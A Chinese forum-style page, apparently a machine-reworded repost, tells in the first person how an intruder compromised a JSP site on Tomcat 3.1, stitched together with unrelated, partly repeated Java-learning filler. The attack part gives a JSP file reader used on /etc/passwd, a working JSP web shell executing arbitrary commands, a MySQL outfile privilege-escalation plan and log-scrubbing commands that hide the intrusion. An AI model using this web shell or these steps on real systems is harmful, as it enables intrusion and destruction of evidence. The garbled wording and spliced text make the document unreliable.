JAVA编程:现场纪实:怎样进侵基于JSP的网站
到时我们不用学struts,不用学spring,不用学Hibernate,只要能把jsf学会了,完全可以替代所有的框架,包括AJAX,都知道AJAX并不是新技术,虽说我没深入学习jsf但我认为jsf应该已经能通过其它技术替代AJAX,实现无缝刷新。js 编者:《现场纪实》是黑客攻防专区新推出的小版块。在这里我们将连续为您先容一些网上黑客进侵的实在案例,与以往从网站平安职员的角度报告分歧,这些案例都是从黑客的角度来形貌进侵的全历程。经由过程这些案例,您能够很分明懂得到黑客在进侵一个网站时所接纳的手艺手腕及接纳的战略。触及详细手艺细节,本栏目会做响应处置,由于我们的目标是经由过程如许的手艺交换配合进步收集的平安性,而非歹意打击别人的盘算机。很偶尔的一个时机,扫瞄到一个网站,页面清爽让人感到很恬逸。网站是用JSP开辟的,出于团体喜好,我决意测试一下其体系的平安性。
telnetwww.target.com8080
GET/CHINANSLHTTP/1.1
前往的了局以下:
HTTP/1.0404NotFound
Date:Sun,08Jul200107:49:13GMT
Servlet-Engine:TomcatWebServer/3.1(JSP1.1;Servlet2.2;Java1.2.2;Linux2
.2.12i386;java.vendor=BlackdownJava-LinuxTeam)
Content-Language:en
Content-Type:text/html
Status:404
〈h1〉Error:404〈/h1〉
〈h2〉Location:/CHINANSL〈/h2〉FileNotFound〈br〉/CHINANSL
取得了运转的WEBServer的称号“Tomcat3.1”。记得已经发明过这个版本的毛病,而且post到bugtrap上往过。
回想一下,也许是经由过程“..”手艺能够加入WEB目次,因而:
http://target:8080/../../../../%00.jsp(不可)
http://target:8080/file/index.jsp(不可)
http://target:8080/index.JSP(不可)
http://target:8080/index.jsp%81(不可)
http://target:8080/index.js%70(不可)
http://target:8080/index.jsp%2581(不可)
http://target:8080/WEB-INF/(不可)
看来平安情况仿佛还不错,我们再来举行一下更深层的测试。Tomcat3.1自带了一个办理工具,能够检察WEB下的目次及文件,而且能够增加context。因而实验:
http://target:8080/admin/
办理员公然没有删除或克制会见这个目次,从平安的角度说,这点应当算是一个对照主要的掉误。
接着,点击“VIEWALLCONTEXT”按钮,列出了WEB目次下的一些文件和目次的称号,很快发明了一个上传文件的组件,经由过程这个组件将一个JSP文件上传到对方的WEB目次里:
〈%@pageimport="java.io.*"%〉
〈%
Stringfile=request.getParameter("file");
Stringstr="";
FileInputStreamfis=null;
DataInputStreamdis=null;
try{
fis=newFileInputStream(file);
dis=newDataInputStream(fis);
while(true){
try{
str=dis.readLine();
}catch(Exceptione){}
if(str==null)break;
out.print(str+"〈br〉");
}
}catch(IOExceptione){}
%〉
然后实行:
http://target:8080/upload/test.jsp?file=/etc/passwd
暗码出来了。接上去的历程是推测暗码,没有乐成。不外,如今相称于有了一个SHELL,猜不出暗码能够先把IE看成SHELL情况。
再写一个JSP文件:
〈%@pageimport="java.io.*"%〉
〈%
try{
Stringcmd=request.getParameter("cmd");
Processchild=Runtime.getRuntime().exec(cmd);
InputStreamin=child.getInputStream();
intc;
while((c=in.read())!=-1){
out.print((char)c);
}
in.close();
try{
child.waitFor();
}catch(InterruptedExceptione){
e.printStackTrace();
}
}catch(IOExceptione){
System.err.println(e);
}
%〉
然后把这个JSP再经由过程upload上传,有SHELL了。
http://target:8080/upload/cmd.jsp?cmd=ls+-la+/
(具体了局这里就不列出来了)
怎样取得root权限呢?经由一番搜刮发明体系安装了MySQL,而且从JSP的源代码中失掉了MySQL的暗码,实行:
sqld"〉http://target:8080/upload/cmd.jsp?cmd=ps+aux+|grep+mysqld
显现:
root874940.21.9173004800p0-S28Jun015:54.72/usr/local/data/mysql
体系是以root身份运转的MySQL。这时候我思索了一下,既然晓得了MySQL的暗码,那就能够写一个SHELL程序,让它创立一个表,然后将我的数据放到表中,再利用“select...intooutfile;”的举措在体系上创立一个文件,让用户在实行su的时分,运转我的程序。(还记得apache.org有一次被进侵吗?黑客就接纳的这类举措)。
以后就对照复杂了,上传bindshell之类的程序,运转、取得nobody的权限,利用suroot时协助创立的setuidshell让本人成为root。
可是,接上去已实践操纵,了局使人颇感不测:
http://target:8080/upload/cmd.jsp?cmd=id
显现:
uid=0(root)gid=0(xxx)groups=0(xxx),2(xxx),3(xxx),4(xxx),5(xxx),20(xxx),31(xxx)
本来这个WEBSHELL原本就是ROOT!办理员的平安设置事情究竟怎样做的?
http://target:8080/upload/cmd.jsp?cmd=ps+aux
公然是root身份运转的(不列出来了)
剩下的事变:
1、删除我的telnet纪录。
2、删除http的日记。
扫除日记我利用的举措是:catxxx|grep-V"IP"〉〉temp然后在把temp掩盖那些被我修正过的日记文件。
申明一点,我没有改换该网站的页面,由于我只是个收集平安喜好者。以是,发封邮件告知systemadmin吧!固然,我特地在信中提到,假如必要安盟信息科技为他供应平安服务的话,我们会十分的乐意!
自己的整个学习思路完全被老师的讲课思路所牵制,这样几节课听下来,恐怕自己的见解都应该是书里的知识点了,根本谈不上自身发现问题,分析问题,和解决问题能力的切实提高。 当然你也可以参加一些开源项目,一方面可以提高自己,另一方面也是为中国软件事业做贡献嘛!开发者在互联网上用CVS合作开发,用QQ,MSN,E-mail讨论联系,天南海北的程序员分散在各地却同时开发同一个软件,是不是很有意思呢? 关于设计模式的资料,还是向大家推荐banq的网站 http://www.ckuyun.com/,他把GOF的23种模式以通俗易懂的方式诠释出来,纯Java描述,真是经典中的经典。 自从Sun推出Java以来,就力图使之无所不包,所以Java发展到现在,按应用来分主要分为三大块:J2SE,J2ME和J2EE,这也就是Sun ONE(Open Net Environment)体系。J2SE就是Java2的标准版,主要用于桌面应用软件的编程;J2ME主要应用于嵌入是系统开发,如手机和PDA的编程;J2EE是Java2的企业版,主要用于分布式的网络程序的开发,如电子商务网站和ERP系统。 另外编写和运行Java程序需要JDK(包括JRE),在sun的官方网站上有下载,thinking in java第三版用的JDK版本是1.4,现在流行的版本1.5(sun称作J2SE 5.0,汗),不过听说Bruce的TIJ第四版国外已经出来了,是专门为J2SE 5.0而写的。 你现在最缺的是实际的工作经验,而不是书本上那些凭空想出来的程序。 一直感觉JAVA很大,很杂,找不到学习方向,前两天在网上找到了这篇文章,感觉不错,给没有方向的我指了一个方向,先不管对不对,做下来再说。 自从Sun推出Java以来,就力图使之无所不包,所以Java发展到现在,按应用来分主要分为三大块:J2SE,J2ME和J2EE,这也就是Sun ONE(Open Net Environment)体系。J2SE就是Java2的标准版,主要用于桌面应用软件的编程;J2ME主要应用于嵌入是系统开发,如手机和PDA的编程;J2EE是Java2的企业版,主要用于分布式的网络程序的开发,如电子商务网站和ERP系统。 至于JDBC,就不用我多说了,你如果用java编过存取数据库的程序,就应该很熟悉。还有,如果你要用Java编发送电子邮件的程序,你就得看看Javamail 了。 自从Sun推出Java以来,就力图使之无所不包,所以Java发展到现在,按应用来分主要分为三大块:J2SE,J2ME和J2EE,这也就是Sun ONE(Open Net Environment)体系。J2SE就是Java2的标准版,主要用于桌面应用软件的编程;J2ME主要应用于嵌入是系统开发,如手机和PDA的编程;J2EE是Java2的企业版,主要用于分布式的网络程序的开发,如电子商务网站和ERP系统。
页:
[1]